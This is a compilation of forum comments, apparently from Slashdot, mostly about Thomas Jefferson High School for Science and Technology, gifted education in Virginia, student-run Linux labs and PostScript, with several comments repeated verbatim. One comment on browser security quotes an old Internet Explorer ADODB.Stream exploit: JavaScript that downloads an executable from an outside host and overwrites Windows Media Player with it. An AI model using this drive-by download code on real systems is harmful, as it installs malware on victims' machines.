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It's interesting that no one is questioning the basic premise of this article: that the US puts more resources into remedial students than gifted. It makes for just one more thing people can complain and get self-righteous about, but my experience in Virginia schools is just the opposite. Here in Virginia, my gifted friends got to attend special highly-funded magnet schools or got to attend the #1 public high school in the country and the gifted classrooms at my high school got the best supplies and brightest teachers. As someone who was originally tracked in remedial everything and had to fight his way up to advanced-level courses, I can tell you that the remedial classes received no instruction whatsoever and were basically just holding-pens for students until they turned 18 and the system could kick them out.

Maybe some states don't have a gifted program, but before we all go tilting at windmills, maybe we should realize this is a state-level problem, one that does not apply to Virginia, and may not apply to your state either.

I, too, live in Virginia. Coming through high school, money was spent on the football program (other sports were second to football and struggled for funding). I do not recall a gifted program for students in terms of intellect. It was only available for this interested in Art and Music - not Science, Engineering, or Technology. Money was also spent on "helping students achieve," which was code for helping students that were not academically inclined to take field trips. Finally, counseling in the school for students that wanted to go to college (and had the grades) was basically non-existent unless you had a family member that worked at the school, that was on the school board, or you had a helicopter parent. Counseling was always available for those on the football team, even if their grades were lacking (only high enough to continue to play ball). So I have a different experience, yet I am from the same state.

It's interesting that no one is questioning the basic premise of this article: that the US puts more resources into remedial students than gifted. It makes for just one more thing people can complain and get self-righteous about, but my experience in Virginia schools is just the opposite. Here in Virginia, my gifted friends got to attend special highly-funded magnet schools or got to attend the #1 public high school in the country and the gifted classrooms at my high school got the best supplies and brightest teachers. As someone who was originally tracked in remedial everything and had to fight his way up to advanced-level courses, I can tell you that the remedial classes received no instruction whatsoever and were basically just holding-pens for students until they turned 18 and the system could kick them out.

Maybe some states don't have a gifted program, but before we all go tilting at windmills, maybe we should realize this is a state-level problem, one that does not apply to Virginia, and may not apply to your state either.

My daughter is in all of the "gifted" programs that are available. Last year she came home with ten math problems for homework every afternoon. I noticed a few weeks later that she was getting done faster than she had been, so I asked her what was going on. It ended up that some of the students were having trouble with ten problems. So the teacher reduced the number to five, then eventually two questions per day. We were told that it wasn't fair to the students who couldn't answer them all I live in Virginia and have a ten year old in the public school system. I'm not from the area, but my wife is. What you describe is similar to when she was in school, but times have changed. She graduated thirty yeas ago. Still, Virginia seems to have a better system than several of the neighboring states though.

It's interesting that no one is questioning the basic premise of this article: that the US puts more resources into remedial students than gifted. It makes for just one more thing people can complain and get self-righteous about, but my experience in Virginia schools is just the opposite. Here in Virginia, my gifted friends got to attend special highly-funded magnet schools or got to attend the #1 public high school in the country and the gifted classrooms at my high school got the best supplies and brightest teachers. As someone who was originally tracked in remedial everything and had to fight his way up to advanced-level courses, I can tell you that the remedial classes received no instruction whatsoever and were basically just holding-pens for students until they turned 18 and the system could kick them out.

Maybe some states don't have a gifted program, but before we all go tilting at windmills, maybe we should realize this is a state-level problem, one that does not apply to Virginia, and may not apply to your state either.

Software such as web browsers can perform actions via mouse gestures. But what if you don't have a mouse? Use a webcam!

Google "gesture webcam" and you'll get links to demos on youtube and software. I'm not sure how mature this idea is but it sounds cool!

Have no keyboard? learn sign-language! :) For deaf people that can sign faster than they can type researchers are developing webcam recognition.

Those that don't grok sign-language could potentially use character-based gesture input modeled on Palm's Graffiti.

Oh, I was going to write it for a Turing machine, running in Conway's Game of Life, implemented in Postscript.

1. Your brain is connected to something--that something is the rest of your body. There are numerous studies that show a direct correlation between physical activity and health of the brain, not to mention psychological well-being.

The specter of "competition with China" is like begging us to please think of the children--a meaningless appeal to emotion. We compete with China just fine. And speaking of competition, do you really expect me to believe that academic or business competition is great and good, but athletic competition is evil somehow?? Competition is competition, if you want to keep up it's going to take work and it's not always going to be pleasant. Not everything about education needs to be about protecting self-esteem. Probably an unpopular view on /. when it comes to PE but there it is.

For what it's worth I went to one of the top public magnet high schools in the nation and we had PE through junior year, plus numerous intramural sports, plus a full raft of varsity teams. It obviously has not impacted the academic success there. There's even a bumper sticker that says "I came for the sports." :-)

2. Atkins is a good crash diet for adults to drop weight quickly--when combined with exercise. Without increased exercise it is just a recipe for circulatory problems later in life. It's probably not a good idea for kids. Better to let their health be controlled by exercise and balanced dietary moderation...and medical advice if needed.

I knew, the second I saw the headline, that it was a TJ grad. I could have easily spent another year at TJ after my senior year, and learned a hell of a lot more than I did during my first year (or two) of college. In fact, in my time at TJ (where I specialized in Physics), I learned more about computer science in passing than I have at the two universities I've attended for most of the past ten years (including a CS degree).

I'll be the first one to admit that chances are he missed out on a lot of fun college life, but sometimes you just have to do something "because you can". He's smart, and I'm sure he'll spend the next three or four years in grad school and law school, and he'll find time to have a little bit of fun while he's at it.

Congratulations to him, and remember, just because he's smarter than you (academically) is no reason to try and take away from his accomplishments just to make you feel better about yourself.

--brian, TJ '96

Maybe I wasn't clear... I *can* waste time. Don't get me wrong, I'm not a slacker. I work hard, I have a 3.9 GPA. Heck, I go to TJHSST, a Science and Technology magnet school. What I'm saying is that there isn't a short-term incentive to work hard, so a lot of people don't care. I know people whose only goal is to pass. I know I'm going to end up in the real world. But for now, I like having the theoretical option of not preparing myself for it - whether I choose to take that option or not.

As TFA points out, there is a "coding language for diagrams" called PSTricks. You might take a look at that.

Of course, I would just do like one of the sibling posters said and learn LaTeX... It'll save you an awful lot of time and energy over learning raw PS.

Interestingly, though, PS is Turing complete. It has been used, I believe, to write an implementation of Conway's Game of Life... Which is itself Turing complete. Twisted, eh?

http://www.tjhsst.edu/~edanaher/pslife/

Incidentally, that page contains a link to a PS tutorial.

"but I can say confidently that public education in my country sucks."

You can? Really? Have you BEEN to every public school in America? I'm a product of FCPS and I can definately say they don't suck. It's one of the best school systems around. People come from many countries around the world to take a look at TJHSST, the local magnet school. Obviously some school systems in America don't suck if people from many diverse countries want to take a look at how we do things around here...

Tex would lead the tour to the window and happily point to the elderly IBM network controller(box was actually blue on the sides, model forgotten) with all its blinking status leds and tell em "there is the computer".

There's no such thing as 100% "safe", unless you disconnect your network cable and live in a bunker. I think the correct term for Firefox over Internet Explorer would be "safer".

And yes, I think firefox is safe compared to internet exploiter. I switched originally to Mozilla 1.5 or 1.6 after reading this webpage

Here's the main chunk of offending exploit code (I'm pretty sure Microsoft finally fixed this after MANY months, since this is an old exploit)

var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET", "http://adversting.co.uk/a.exe",0);
x.Send();

var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);

s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);

What does it do? Well it downloads a.exe (a nasty trojan), and replaces windows media player with it (no warning or comfirmation dialog, just auto installs it!). Of course, this only works if your logged in with admin priviledges, and I bet 75% or more windows users are "admin".

I personally use Windows XP as admin for regular daily use, I know this isn't secure, but I have no choice. Running as admin is the only way 50% or more of my applications and games will run at all. I've run as admin for 2 years now on this computer, and have never got a virus or trojan or worm or anything. I use firefox and this helps, with Internet Explorer, running as admin would be a death trap.

I've tried to create a limited use account on multiple occasions, set it up to look and feel exactly like my current admin account, and try to do anything productive. It's a pain in the ass to put it lightly. I end up deleting the limited use account after 1 hour and going back to admin only.

TJHSST has a full lab of both Linux computers (Debian!) as well as another, much smaller, lab with Solaris thin clients. We plan to move to Linux thin clients, as they offer both increased customizability as well as speed.

http://www.tjhsst.edu - And not to save money, just because we can. We also try to avoid this high school problem of stupid classes and useless teaching. We even have senior technology research projects, on whatever the student is interested in. Better yet the current mood is to try to get rid of some useless (but state required) classes such as a 4th year of history in order to allow students to participate in classes they find useful to themselves.

Maybe everyone else is just dumber then you. Where I come from you would be hard pressed to do well with that much gaming late at night.

Dude - my old high school's mascot was a TI calculator. The costume gets passed down to the new seniors every year.

This reminds me of the old ADODB.Stream vulnerability that is (was?) in Internet Explorer 6.

See here for details.

If you get pdf then I want postscript. They use the same technology base so it cannot be too difficult. Just imagion playing Life on your way to work.

On a side note: at home I run a combination of *nix and Windows boxes. I prefer to keep Windows on the desktop, but on the server side, it's all *nix (the licensing fees and incessant purchasing of server utility software, and the crashing and slowness and instability of Microsoft server software finally got to me).

Several of my friends from the Systems Lab at TJHSST introduced me to Debian, and I threw out my NT server in favor of Debian with Samba-TNG. Haven't looked back since.

Heh. I'm in high school, and I'm taking my third semester of electronics courses (digital, microprocessor [wiring Motorola 6802's from scratch -- classy], and audio); everyone has a scope at their workstation, and using them to analyze and debug our circuits is fundamental to the course. It's a great class.

Fairfax County Public Schools just recently began to implement it...

At least, that's according to an article in the school paper at TJHSST, a Virginia Governor's School run by FCPS.

was this quote about that one school:

In class after class, students are encouraged to conduct almost all their research online, which means that books, magazines and other in-depth sources play a minimal role in their bibliographies.

This is ridiculous. Even at my high school, which is extremely tech-heavy, I was routinely told by teachers to do as much research as possible from books, periodicals, etc. instead of the Internet. The big problem with the Internet is reliability of information. I'm not saying Internet research doesn't have its place, but discounting books, encyclopedias, periodicals, etc. blows my mind.

I go to a school for nerds. There I'm popular enough to date the homecoming queen :).

At my high school, we have a thing called Senior Technology Research Labs (tech labs for short). Many of the seniors that take the Robotics Tech Lab create BattleBots and actually compete in real BattleBot competitions.

Thomas Jefferson is a magnet school in Northern Virginia; its students are often quite extraordinary.

what about debian? that's what my old high school is running.

I attend the Thomas Jefferson High School for Science and Technology in northern Virginia. While most of our school's machines are running Windows, our most advanced computer lab, the computer systems lab, has some thirty workstations, a 16-machine cluster (sorry, but it's not Beowulf), and some nice servers which provide standard services such as mail and the school web site. Everything is running Slackware, so students wishing to take advanced computer science courses will be given an introduction to Linux (as well as Lisp if they take the AI class!) here.

But we've made it even easier to maintain this network - the system administrators are mainly students (a team of 7 or 8, with some assistance from teachers in the lab). This way, the students can also learn a thing or two about system administration (although some prior knowledge is a requirement) and Linux in general, maintenance is absolutely free except for new equipment and a rare piece of software such as Mathematica, and we can show off our high-tech skills to the rest of the world.

It seems from my experience that not only does Linux work in schools, it can work when run by students. The school featured in this article apparently has its share of high-school students; maybe some of the more tech-savvy ones who would normally be bored by schoolwork would appreciate the chance to help run their new network.

I attend the Thomas Jefferson High School for Science and Technology in northern Virginia. While most of our school's machines are running Windows, our most advanced computer lab, the computer systems lab, has some thirty workstations, a 16-machine cluster (sorry, but it's not Beowulf), and some nice servers which provide standard services such as mail and the school web site. Everything is running Slackware, so students wishing to take advanced computer science courses will be given an introduction to Linux (as well as Lisp if they take the AI class!) here.

But we've made it even easier to maintain this network - the system administrators are mainly students (a team of 7 or 8, with some assistance from teachers in the lab). This way, the students can also learn a thing or two about system administration (although some prior knowledge is a requirement) and Linux in general, maintenance is absolutely free except for new equipment and a rare piece of software such as Mathematica, and we can show off our high-tech skills to the rest of the world.

It seems from my experience that not only does Linux work in schools, it can work when run by students. The school featured in this article apparently has its share of high-school students; maybe some of the more tech-savvy ones who would normally be bored by schoolwork would appreciate the chance to help run their new network.

Well, I don't know what MUN you may be talking about, but at my school (TJHSST), anyone who so desires can join model UN. In fact, the club is very diverse, and there are people with widely differing viewpoints. There are staunchly conservative folks, and passionate liberals. I'm sure there are those who share the viewpoint on speaking out on any injustice anywhere. I know for sure that there are folks who are deeply involved on the topic of Tibetan injustices, among others. So, I feel deeply sorry for you if the Model UN you are familiar with excludes you or others, or is composed of folks with only one viewpoint.

High schools can use .edu. Check out Thomas Jefferson High School.

I went to high school at Thomas Jefferson in Arlington, VA. While the regular Novell LAN was run by a county employee, our computer systems lab was run and maintained completely by students. It's been this way for 10 years now, and we've been doing just fine. It was there that I got my first real Unix exposure (we have PCs running Linux and SGIs running Irix), and that got me a leg up into a systems administration position where I work.
Of course, the student sysadmins don't wield limitless power, we have two teachers who are responsible that the kids are doing the right thing. But they only provide administrative guidance, but the students do all work: programming, hardware purchase recommendations, and software upkeep.

Go TJ!

I really don't think a 3.9 GPA at Stuyvesant is really all that great. I happen to go to TJHSST (the Thomas Jefferson High School for Science and Technology) here in Alexandria, VA. Stuyvesant has been our "rival" for a while, but I think I can now safely say that TJ is one of (if not "the") best PUBLIC high schools in the country. We regularly have students winning national contests, and other such fun things. We have the most national merit semi-finalists in the country. We have a huge number of Intel Science Talent search semi finalists and finalists. In fact, Intel recently honored TJHSST and Stuyvesant for repeated excellence in the prestigious competition. (It's been going since 1944, originally the "Westinghouse Science Talent Search"). And, to top all that off, I have a 4.02 GPA. Bah!

(not to brag or anything...)


47.5% Slashdot Pure(52.5% Corrupt)

cool high school
cool high school instructor
cool high school instructor's supercomputer course
...using low cost PeeCees and open source solutions.

a national education program embracing open source, spearheaded by this great instructor, could move the emphasis towards low cost PCs and free software (no licensing or tracking hassles).

This would allow a much wider saturation of computing and math in schools, without having to depend on UltraWealth (Gates, Jobs, Rockefeller, Taxes) to do it.

cool high school
cool high school instructor
cool high school instructor's supercomputer course
...using low cost PeeCees and open source solutions.

a national education program embracing open source, spearheaded by this great instructor, could move the emphasis towards low cost PCs and free software (no licensing or tracking hassles).

This would allow a much wider saturation of computing and math in schools, without having to depend on UltraWealth (Gates, Jobs, Rockefeller, Taxes) to do it.

cool high school
cool high school instructor
cool high school instructor's supercomputer course
...using low cost PeeCees and open source solutions.

a national education program embracing open source, spearheaded by this great instructor, could move the emphasis towards low cost PCs and free software (no licensing or tracking hassles).

This would allow a much wider saturation of computing and math in schools, without having to depend on UltraWealth (Gates, Jobs, Rockefeller, Taxes) to do it.

I can't believe I just read that. You're making the terrible mistake of assuming that other people are like you, and you're assuming a correlation between "intelligence" and responsibility that doesn't exist.

I graduated from the nerdiest high school in the entire nation last year: Thomas Jefferson High School for Science and Technology, in Alexandria, Virginia. We routinely have the most National Merit Semifinalists of any school in the country; the only school to come close to us in recent years has over twice our class size. Because so many of TJ's students are so intelligent and go to great colleges and do great things, it is assumed that they're responsible people and that they can be trusted. Having spent four years of my life in this environment I can safely say that that assumption is FLAWED.

Kids at my high school acted like absolute idiots just as much as kids at other high schools. The only difference that their superior intellect made was that they were able to find extrodinarily brilliant ways to abuse the system and do terrible, awful things. Rather than writing mean notes about teachers and muttering vile invectives about each other under their breath, students organized an online messageboard system (almost as useful and as portable as slashcode) and then blasted teachers and other students under the protection of the first amendment. So many kids cut 8th period (a period added to the school day to allow our geographically diverse student body to participate together in extracirricular activities) that the administration was seriously considering canceling most of the school student organizations. Drugs, alcohol, and violence were all common, as were attempts by students to manipulate the administration for their own, often nefarious, purposes.

As much as I hated high school, I was incredibly thankful that I was able to get into TJ. I know that my experiences would have been much worse at a "normal" school. Highschoolers (or at least some of them) may be intelligent, but that doesn't mean that they can be trusted not to abuse legitimate authority, nor that they are free from malevolent intentions.

after all, IBM and AMD are two very powerful constituents in his state, and Orrin Hatch is quite a bit more powerful now.

it's amazing how obsessed right wing conservative men are with women's vaginas. well, not that amazing, i guess, when all things are considered.

i'm a little in favor of school vouchers...i actually think private schools could do a better job. well, not better than this high school. I definately would demand any voucher program force all teachers be CBEST certified (or some other reasonable standard), and that the school have some type of certification as well.

I'd hate to see tax dollars getting funneled off to a bunch of religious schools.

Err, my prediction is : more interference in our private lives, more taxes (they'll probably raise a bunch of fees to compensate for tax cuts, or some other revenue enhancing scheme, so we pay more overall). There will be another huge feed by right wingers in either the insurance or banking industries. Once again, the DOJ will be told to "look the other way" while Bush's cronies rob us blind.

But no sex scandals.

Well, considering that I go to TJHSST, and we have an entire Linux systems lab along with a lot of other good stuff, I don't think they'd be too adverse to using the raw JDK with Vi(m). The only problem is, the ones using Linux who are competent enough to understand what is going on are the ones who have already taken APCS. So, the question then turns to, again, what environment should be used for the mainstream APCS students.


47.5% Slashdot Pure(52.5% Corrupt)

I'm really getting sick of all the whining about internet filtering software, in particular this comment. This is going to be a crow bar to push schools around? Far from it. First, let me tell you why not. Second, let me tell you my experience.

Already, a huge part of schools across America are implementing filtering programs on their networks. This isn't just limited to the schools - libraries are putting them in place as well. Why? Because there's universal pressure from the politicians in power to put them there. Look back at that chart of candidates. Did you notice that out of the six listed, four support filtering, and two didn't respond? Why's this? Because the vast majority of the public feels like it keeps their children safe. It's a nice warm, fuzzy security blanket.

Now to my experience. I'm a college student now, but I'm originally from Fairfax County, Virginia. I went to Thomas Jefferson High School for Science and Technology, one of the greatest high schools in the nation. Our entire school system is consistently ranked very highly. I have personally dealt with filtering software. As of right now, nearly every high school in the Fairfax County Public School (FCPS) system is filtered by I-Gear, a product developed by URLabs (now owned by Symanted). Take a look at the FCPS overview and background info. On the background info page, scroll on down to the "Pilot results" section. You'll notice that 0.2% of the 1.1 million sites accessed over a six week test period were blocked. 0.2%! That's 1 out of 500. Additionally, notice that web access improved from 9 seconds per page load to 3 seconds (on average), thanks to the cache that I-Gear provides.

So you're telling me that this internet filtering system makes the internet a non-useful resource? A waste of time, and leads to poor education? I think that's a ridiculous assertion to make. Look at the FCPS system. Through the filtering, the million students in Fairfax County manage to obtain some of the best education anywhere in the United States. Yes, I agree that filtering sucks, and I wouldn't want it on my connection. However, if I live in a low-income area, where my school has no internet access, I definitely want to have a filtered system, rather than nothing at all. When implemented properly, filtering can work. This is going to a crow bar? No. This is going to be a positive addition to millions of childrens' lives.

I suppose we've already established this, but I have to put in my plug for the greatest educational institution I've ever attended: Thomas Jefferson High School for Science & Technology (www.tjhsst.edu). I graduated in '96, but they've owned tjhsst.edu since before I started (and before the Web, too). As far as I know, though, this is the only high school with a .edu domain.

Not the only one; my alma mater, Montgomery Blair High School (mbhs.edu) (ah, old rivalries...) has one as well, and has had it since before I started there in fall 1991. Maybe InterNIC was more lax in the olden days?

There are some public magnet schools that do offer special access to resources to "gifted children"; my alma mater is one of them.

And check out the bottom of the page; Powered by Apache and Linux.

Full mirror at http://www.tjhsst.edu/~dziegler/usvms/. Enjoy.


-David Ziegler
-dziegler@hotmail.com

...into how many live in the city and how many live in its burbclaves.

DC is one of the worst examples I have ever seen of a city held hostage by its suburbs. There are wide swaths that were burnt in the 60s MLK riots THAT STILL HAVEN'T BEEN REPAIRED. This is because they are out of sight of the federal office buildings, and therefore don't exist.

The majority of city residents are black and well below the poverty line. I'd be surprised if %30 have ever touched a keyboard, outside the context of a slave-wage data entry job. The public schools will never expose city children to technology, since they're having trouble keeping the school lunch program afloat after the last round of federal cuts.

But don't worry, Mr. AOL marketing manager [or you, Ms. Assistant to the DoA's Deputy Director].
Your kids are going to Thomas Jefferson HS in Northern Virgina, which has a glut of infotech facilities and specialized research labs that puts most universities to shame.

So keep emailing photos of the kids at King's Dominion to grandma, keep surfing for .GIFs of dinosaurs that little Ashley can embed in her book report, and read those stock quotes! You are part of the information aristocracy, and "your" city is just a preview of the technofeudal paradise to come.

I can get you an ETA 10 supercomputer (as fast as they came in 1989). Now that would make a great bar, big enough for a casino.

It's at Thomas Jefferson High School for Science and Technology. We won it years ago, but it hasn't worked since my freshman year (I graduated last year). It's a bit big (it's got its own room), so if you want it you'll have to move it yourself...

That Corel should make the WordPerfect suite entirely free for educational use?

I remember how excited I was, sitting in the Computer Systems Lab at Thomas Jefferson and hearing that Corel would release a free "personal" version of WP. Sure, it wouldn't have some of the features. But finally there would be a word processor for the masses in the CSL (which has been UNIX based since forever). And then I read the license agreement, and lo and behold, it's not free for educational use. What a bummer.

We should start an email campaign to Corel. Who's with me?

Oh well, everyone there learnes LaTeX anyhow.

Yes, that many Intel boxes draw quite a bit and warm things up pretty good, but compared to what? An ARM would be a bad choice -- poor FP performance.

My (albeit limited) experience with supercomputers is that you just have to deal with the heat and power issues. My high school, Thomas Jefferson, has an old ETA10 (top of the line in 1988 or so, about as fast as a PII 450 now :). It's got its own frikkin' air conditioning unit in a special room!

They're building a replacement Beowulf cluster out of Celeron 450a's :)